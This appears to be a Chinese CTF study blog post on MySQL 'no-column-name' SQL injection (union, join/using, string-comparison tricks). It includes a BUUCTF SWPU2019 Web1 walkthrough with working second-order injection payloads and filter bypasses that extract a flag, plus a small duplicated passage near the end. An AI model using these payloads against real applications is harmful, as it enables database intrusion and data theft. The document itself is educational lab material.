# SQL 无列名注入

​ 前段时间,队里某位大佬发了一个关于 sql 注入无列名的文章,感觉好像很有用,特地研究下。

# 关于 information_schema 数据库:

​ 对于这一个库,我所知晓的内容并不多,并且之前总结 SQL 注入的时候忘记说这个数据库了,在这里补充一下,简单点儿来说,就是这个数据库中的某些表存放着数据库的一些信息,例如,我电脑中所有的数据库中存在如下的几个数据库:

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sakila |
| sys |
| test |
| world |
+--------------------+
7 rows in set (0.00 sec)

​ 那么我们通过查 information_schema 中的 SCHEMATA 表中的 SCHEMA_NAME 字段可以得到所有数据库的库名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> use information_schema;
Database changed
mysql> select SCHEMA_NAME from SCHEMATA;
+--------------------+
| SCHEMA_NAME |
+--------------------+
| mysql |
| information_schema |
| performance_schema |
| sys |
| sakila |
| world |
| test |
+--------------------+
7 rows in set (0.00 sec)

​ 同时,tables 这个表中存在很多关于表的内容的字段,例如:

​ table_schema,这个字段用于存放某张表属于哪一个数据库的字段。

​ table_name, 这个字段用于存放所有的表的名字

​ 如果想要查到某个数据库中的所有表名,则需要查询 table_name 这个字段,然后用 where 来限制 table_schema 查找对应的数据库:

1
2
3
4
5
6
7
mysql> select table_name from TABLES where table_schema='test';
+------------+
| TABLE_NAME |
+------------+
| questions |
+------------+
1 row in set (0.00 sec)

​ 另外,information_schema 库中还有一张 columns 表,这里面存的是所有字段的信息,columns 表中存在 table_name , table_schema , column_name 对于 table_schema,这里面则是所有字段所在表的名字,而 table_schema 则是存放了所有字段的表所在的数据库的名字,另外,column_name 则是存放了所有的字段的名字,因此,想要查询到某个数据库中所有字段的名字,或者某张表的所有的字段的名字则可以用如下的命令查找:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select column_name from columns where table_schema='test'; #查询某个库里面所有的字段的名字
+-------------+
| COLUMN_NAME |
+-------------+
| answer |
| id |
| quest |
+-------------+
3 rows in set (0.00 sec)

mysql> select column_name from columns where table_name='questions'; #查询某张表中所有字段的内容(由于这个库中只有一张表,所以结果一样)
+-------------+
| COLUMN_NAME |
+-------------+
| answer |
| id |
| quest |
+-------------+
3 rows in set (0.00 sec)

# 关于 InnoDb 引擎:

我不知道这个具体是个什么东西,有什么用,但是还是记录一下,有条件再拿来研究看看。

从 MYSQL5.5.8 开始,InnoDB 成为其默认存储引擎。而在 MYSQL5.6 以上的版本中,mysql 数据库中 inndb 增加了 innodb_index_stats 和 innodb_table_stats 两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。其利用方式是:mysql.innodb_index_stats 和 mysql.innodb_table_stats

​ 依旧拿上面的那张表作为延时,也就是 test 库里面的 questions 这张表。

​ 再 mysql 这个数据库种存在两张表,里面分别存放了一些内容,例如,innodb_table_stats 这个表,存放的是所有的表名,也就是 database_name 还有 table_name 这两张表,但是没有存放列名,因此,这里可以试着访问下:

1
2
3
4
5
6
7
mysql> select * from innodb_table_stats where database_name='ctfer';
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| database_name | table_name | last_update | n_rows | clustered_index_size | sum_of_other_index_sizes |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
| ctfer | users | 2024-03-02 16:37:10 | 0 | 1 | 0 |
+---------------+------------+---------------------+--------+----------------------+--------------------------+
1 row in set (0.00 sec)

​ 再然后就是 mysql 数据库中的 innodb_index_stats 表,里面我总结不出来具体是什么信息,但是里面存放有所有数据库中的所有表的信息,也就是 database_name 还有 table_name 这两张表,不过,还是没有存放字段的信息,这里可以试着访问下:

1
2
3
4
5
6
7
8
9
mysql> select * from innodb_index_stats where database_name='ctfer';
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
| database_name | table_name | index_name | last_update | stat_name | stat_value | sample_size | stat_description |
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
| ctfer | users | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_diff_pfx01 | 0 | 1 | DB_ROW_ID |
| ctfer | users | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | n_leaf_pages | 1 | NULL | Number of leaf pages in the index |
| ctfer | users | GEN_CLUST_INDEX | 2024-03-02 16:37:10 | size | 1 | NULL | Number of pages in the index |
+---------------+------------+-----------------+---------------------+--------------+------------+-------------+-----------------------------------+
3 rows in set (0.00 sec)

# 关于 sys 数据库:

在 5.7 以上的 MYSQL 中,新增了 sys 数据库,该库的基础数据来自 information_schema 和 performance_chema,其本身不存储数据。可以通过其中的 schema_auto_increment_columns 来获取表名。其用法是 sys.schema_auto_increment_columns

​ 在 sys 数据库种,存在一个 schema_auto_increment_columns 表,里面存在几个字段,用于存放数据库名和表名以及字段名,有 table_schema 以及 table_name 还有 column_name,但是,不知道为啥,我这里查询到的内容并不完全,少了很多内容,不过还是先仍在这儿吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> select * from schema_auto_increment_columns;
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
| table_schema | table_name | column_name | data_type | column_type | is_signed | is_unsigned | max_value | auto_increment | auto_increment_ratio |
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
| sakila | payment | payment_id | smallint | smallint unsigned | 0 | 1 | 65535 | 16049 | 0.2449 |
| sakila | category | category_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 16 | 0.0627 |
| sakila | language | language_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 6 | 0.0235 |
| sakila | film | film_id | smallint | smallint unsigned | 0 | 1 | 65535 | 1000 | 0.0153 |
| sakila | address | address_id | smallint | smallint unsigned | 0 | 1 | 65535 | 605 | 0.0092 |
| sakila | city | city_id | smallint | smallint unsigned | 0 | 1 | 65535 | 600 | 0.0092 |
| sakila | customer | customer_id | smallint | smallint unsigned | 0 | 1 | 65535 | 599 | 0.0091 |
| sakila | staff | staff_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 2 | 0.0078 |
| sakila | store | store_id | tinyint | tinyint unsigned | 0 | 1 | 255 | 2 | 0.0078 |
| sakila | actor | actor_id | smallint | smallint unsigned | 0 | 1 | 65535 | 200 | 0.0031 |
| sakila | country | country_id | smallint | smallint unsigned | 0 | 1 | 65535 | 109 | 0.0017 |
| sakila | inventory | inventory_id | mediumint | mediumint unsigned | 0 | 1 | 16777215 | 4581 | 0.0003 |
| sakila | rental | rental_id | int | int | 1 | 0 | 2147483647 | 16049 | 0.0000 |
| world | city | ID | int | int | 1 | 0 | 2147483647 | 4079 | 0.0000 |
+--------------+------------+--------------+-----------+--------------------+-----------+-------------+------------+----------------+----------------------+
14 rows in set (0.01 sec)

# 无列名注入–union:

# 原理:

​ 例如,对于如下的一个表:

1
2
3
4
5
6
7
mysql> select * from users;
+----------+-----------+-----------------------------------+
| username | password | flag |
+----------+-----------+-----------------------------------+
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)

​ 如果我们想要进行查询,那么则需要表明,甚至是库名,不过,可以通过 table_schema=database () 来指定库名,因此,想要查询内容,则表名似乎成为了必须的内容,但是,在进行 sql 注入的时候,有的时候会对 information 进行过滤,因此,则无法做题,那么,这里则需要利用 union 的方式进行无列名的注入。

​ 如果我们想要查询到这个 flag 的话,那么我们或许可以考虑将字段修改为我们能够查询到的字段,比如,1、2、3,所以,使用如下命令做个尝试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

mysql> select 1,2,3 union select * from users;
+--------+-----------+-----------------------------------+
| 1 | 2 | 3 |
+--------+-----------+-----------------------------------+
| 1 | 2 | 3 |
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+--------+-----------+-----------------------------------+
2 rows in set (0.00 sec)

​ 可以知道的是,这里通过两次查询,第一次查询了 1,2,3 三个字段,第二次查询了 users 表中的所有字段,然后将 users 表中的所有字段联合在第一次查询到的字段中输出出来,根据这种情况,下面则有两种方式查询到 flag 的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> select `3` from (select 1,2,3 union select * from users)a; #联合了1,2,3之后,如果用数字查询的话需要用反引号来表示引用,而不是一个值
+-----------------------------------+
| 3 |
+-----------------------------------+
| 3 |
| flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+-----------------------------------+
2 rows in set (0.00 sec)

mysql> select b from (select 1,2,3 as b union select * from users)a; #这里通过3 as b 的方式给字段3重命名为b,然后再进行插叙
+-----------------------------------+
| b |
+-----------------------------------+
| 3 |
| flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+-----------------------------------+
2 rows in set (0.00 sec)

注:这里不知道为何需要在括号外面随意写一些字符,如果有知道的话请帮忙讲解一下。

# 题目案例–BUUCTF----[SWPU2019] Web1:

​ 刚拿到这道题的时候,我是一点儿思路都没有,全称黑人问号,即使这道这道题的考点是 sql 注入也是一样的,完全找不到下手的点。

在这里插入图片描述

​ 最开始,一个登陆框一度让我认为是 sql 注入的万能密码,结果不是,弱密码?猜了几个也没才出来,因此,可以排除是弱密码以及万能密码了,跟着 dalao 们的 wp 做,发现这里可以直接注册一个非 admin 的账号,好吧,我人傻了,那就随便注册一下,账号 qwe,密码 123456,登录。

​ 登录之后是这样的一个内容:

在这里插入图片描述

​ 这里,似乎能点的超链接只有一个申请发布广告,下面那一个点了之后似乎就退出登录了,显然是错的,所以点一下申请发布广告:

在这里插入图片描述

​ 出现了这样的一个页面,那么,这个又代表了什么呢?如果不是明确地指出这道题是 sql 注入的话,我可能还是会无脑认为这个题目是一道 XSS 的漏洞,那么,这个到底是个啥?

​ 看了下 dalao 们的 wp,说的是这是一道二次注入,是一道我没有遇到过的漏洞。

# 什么是二次注入:

​ 二次注入就是指以储存(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致注入。

# 二次注入的原理:

​ 首先,对于某些字符,在进行数据库插入数据时,对其中的某些特殊字符进行了转义处理,比如 1’变成了 1\’ 在写入数据库的时候保留了原来的数据,也就是 1’。然后,开发者又默认了存入数据库中的数据都是安全的,因此,在进行查询时,直接从数据库中取出而已树据,并没有进行进一步的检验的处理,在下一次的使用中拼凑在一起,就形成了二次注入。

# 继续做题:

​ 既然这道题是个二次注入的题目,那么就应该考虑,使用 sql 注入的方式了。首先构造语句,判断注入类型以及想办法清楚到底过滤了那些关键字,首先构造 sql 语句,之后申请,然后广告详情:

1
1'

​ 得到了

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘‘1’’ limit 0,1’ at line 1

​ 的一个回显,通过报错信息,或许是一个字符型注入,紧接着,判断过滤,经过多次尝试,发现过滤了的有:

or , # , 空格,order by ,information_schema

​ 对于空格而言,则可以使用 /**/ 来绕过,order by 则可以使用 group by ,# 则可以使用,'3 来闭合后面的引号来绕过,另外,information_schema 则可以使用最开始说到的无列名注入的相关的知识了,通过 InnoDb 引擎查表名,第一个 payload 为:

1
1'/**/group/**/by/**/22,'3

​ 首先,构造的 group by 后面的整数位 22 的时候,没有出现错误,但是,当整数为 23 的时候,却出现了报错:

在这里插入图片描述

​ 大致可以推测出,字段总的有 22 个。

​ 那么,知道了总的有多少个字段之后,就可以试着获得数据库名和表名了,构造的 payload 分别为:

​ 首先通过构造如下 payload 获取回显点,最后发现,回显点是 2,3

1
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

​ 获得数据库名,成功拿到数据库为 web1:

1
1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/' 

​ 获得表名:

1
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

​ 最后确定,web1 这个数据库中存在的表为如下:

在这里插入图片描述

​ 根据 dalao 们的 wp,他们使用的都是 users 这个表,因此,这里就不用一个表一个表地查了,直接 users 这个表梭哈:

1
1'/**/union/**/select/**/1,		(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

​ 该 payload 是利用了上面说到的无列名地 union 方法进行的,当然,为啥确定 users 表中存在 3 个字段呢?因为经过试错,发现一个字段,两个字段以及四个以上的时候,均是报错,所以,可以利用这一点,进行查询,然后通过

​ 然后通过修改 as b 所在的地方,比如 1 的后方或者 2 的后方对列进行查找,最后发现在第三列查到了 flag:

在这里插入图片描述

​ 完成啦 (p≧w≦q)

# 无列名注入–join:

​ 当然,由于 union 在的地位太过重要,因此有的时候可能会直接对 union 进行过滤,这个时候呢,就需要用到 join 来进行注入。

在那之前,先讲一下相关的前置知识,虽然我也不懂这些,不过还是先记录一下:

  • join 连接两张表
  • using () 用于两张表之间的 join 连接查询,并且 using () 中的列在两张表中都存在,作为 join 的条件

​ 首先,还是之前的那一个 ctfer 的数据库,下面通过这个数据库做几个实验:

1
2
3
4
5
6
7
mysql> select * from users as a join users as b;
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
| username | password | flag | username | password | flag |
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)

可以发现,查询的两次同一个表,被拼接成了一个,那么,这个有什么用呢?试试在这之前加上一个查询,看看查询这拼接到一起的这个表:

1
2
mysql> select * from (select * from users as a join users as b)a;
ERROR 1060 (42S21): Duplicate column name 'username'

​ 这里发现,报错了,并且还是字段名重复的错误,注:括号外面必须得加上任意字母,否则会报 ERROR 1248 (42000): Every derived table must have its own alias 的错误,因此,则可以使用这种方式获得所有的列名,不过前提还是得用 InnoDb 引擎来获取数据库名以及表名。

​ 根据上面的那个可以知道的是,其中一个字段的名字,但是,flag 或许并不在这个字段里,那么,就需要想点办法获得下一个字段的名字了,不过,在那之前,得先排除掉已经知道的字段名的干扰,可以使用如下方法:

1
2
3
4
5
6
7
mysql> select * from users as a join users as b using(username);
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
| username | password | flag | password | flag |
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+-----------+-----------------------------------+
1 row in set (0.00 sec)

​ 看看上面的内容,发现在增加了一个 **using (username)** 之后,username 这个字段似乎奇迹般地没了,不过这里我不是很清楚原理是什么,不过,暂时能用就行,记录一下,以后有机会学到了这里再进行补充。那么,到了这个时候,重复的字段就只有 password 和 flag 了,于是,再用如下的语句进行查询看看:

1
2
mysql> select * from (select * from users as a join users as b using(username))a;
ERROR 1060 (42S21): Duplicate column name 'password'

​ 成功查询到了 password 这个字段名,紧接着,将 password 加入 using () 函数中,如下,即可拿到 flag 字段的字段名:

1
2
mysql> select * from (select * from users as a join users as b using(username,password))a;
ERROR 1060 (42S21): Duplicate column name 'flag'

​ 最后一步,如果将 flag 再填进 using () 函数中呢?会出现如下情况:

1
2
3
4
5
6
7
mysql> select * from (select * from users as a join users as b using(username,password,flag))a;
+----------+-----------+-----------------------------------+
| username | password | flag |
+----------+-----------+-----------------------------------+
| xiaomi | qwe123456 | flag{1_Am_X1a0m1_Th1s_1s_My_Fl4g} |
+----------+-----------+-----------------------------------+
1 row in set (0.00 sec)

​ 内容被成功查询出来了,之后再怎么办就得根据题目的实际情况决定了,成功了!!! (p≧w≦q)

# 无列名注入–ascii 位偏移:

​ 这个方法,是有点类似于 sql 盲注的爆破的,利用的是字符串进行比较是按位置进行比较,从最开始的那个开始,一位一位地比较,因此,当得到数据库名以及表名之后,则可以进行如下操作:

​ 不过这种方法有个前提,就是需要表内只有一个字段,不然只能获取到第一个字段的字段名。

1
2
3
4
5
6
7
mysql> select username from users;
+----------+
| username |
+----------+
| xiaomi |
+----------+
1 row in set (0.00 sec)

​ 首先可以知道的是,username 中的内容是 xiaomi,因此,用如下方式可以进行比对:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select (select 'x')>(select username from users);
+-------------------------------------------+
| (select 'x')>(select username from users) |
+-------------------------------------------+
| 0 |
+-------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select 'y')>(select username from users);
+-------------------------------------------+
| (select 'y')>(select username from users) |
+-------------------------------------------+
| 1 |
+-------------------------------------------+
1 row in set (0.00 sec)

因为我这里存在三个字段,所以这里只有指定一下某个表进行查询。显而易见,在第一行中,我们用 x 进行对比,返回结果为 0,对比 y 的时候返回结果为 1,也就是说,这个字段的内容的第一位为 x,接下来进行后续的对比:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select (select 'xi')>(select username from users);
+--------------------------------------------+
| (select 'xi')>(select username from users) |
+--------------------------------------------+
| 0 |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select 'xj')>(select username from users);
+--------------------------------------------+
| (select 'xj')>(select username from users) |
+--------------------------------------------+
| 1 |
+--------------------------------------------+
1 row in set (0.00 sec)

​ 后续的查询操作也就很明显了,当然,这里如果合适的话其实可以利用 python 写个爬虫来进行查询的:

1
2
3
4
5
6
7
mysql> select (select 'xiaomia')>(select username from users);
+-------------------------------------------------+
| (select 'xiaomia')>(select username from users) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

​ 当然,如果查询到最后一个,在这里也就是 xiaomi 的第二个 i 的之后,如果再对后面进行对比的时候无论如何也是 1,这里我做一个猜测,应该是因为字符串的结尾是以 \x00 结尾,因此,每一个可显示字符都要比这个字符大。

1
2
3
4
5
6
7
ect 'xiaomia')>(select username from users);
+-------------------------------------------------+
| (select 'xiaomia')>(select username from users) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)

​ 当然,如果查询到最后一个,在这里也就是 xiaomi 的第二个 i 的之后,如果再对后面进行对比的时候无论如何也是 1,这里我做一个猜测,应该是因为字符串的结尾是以 \x00 结尾,因此,每一个可显示字符都要比这个字符大。

​ 好了,ascii 位偏移的无列名注入也说完了!!! (p≧w≦q)

更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝